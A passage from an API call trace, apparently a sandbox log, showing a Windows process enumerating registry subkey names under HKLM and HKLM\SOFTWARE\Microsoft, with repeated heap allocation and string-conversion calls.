Size=0x80) returned 0xdcbc40 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbce0 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xdcbce0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbd28 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbce0) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbd28) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.845] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbd28 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xdcbd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbce0 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbd28) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbce0) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.845] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbce0 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xdcbce0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbd28 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbce0) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbd28) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.846] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x184) returned 0xdcd0c8 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbd28 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbce0 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbd70 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbdb8 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbe00 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbe48 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbe90 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbed8 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbf20 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbf68 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbfb0 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbff8 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc040 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc088 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc0d0 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc118 [0254.846] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xdcb9b8, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xdcc160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.846] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.846] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.846] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0xdcb9b8, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0254.846] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xdcc1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Classes") returned 0x0 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xdcc160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Clients") returned 0x0 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xdcc1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Intel") returned 0x0 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xdcc160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.847] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0254.847] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xdcc1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xdcc160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.848] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0254.848] RegCloseKey (hKey=0xc4) returned 0x0 [0254.848] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0xdcb9b8, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xdcc1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.848] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.848] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.848] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xdcc160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.849] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0xdcb9b8, cchName=0x104 | out: lpName="ADs") returned 0x0 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xdcc1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.849] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xdcc160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.849] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0xdcb9b8, cchName=0x104 | out: lpName="ALG") returned 0x0 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xdcc1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.849] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.849] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0xdcb9b8, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.849] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xdcc160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.850] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xdcc1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.850] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0xdcb9b8, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xdcc160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.850] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0xdcb9b8, cchName=0x104 | out: lpName="COM3") returned 0x0 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xdcc1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.850] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.850] RegEnumKeyW (in: hKey=0x38, 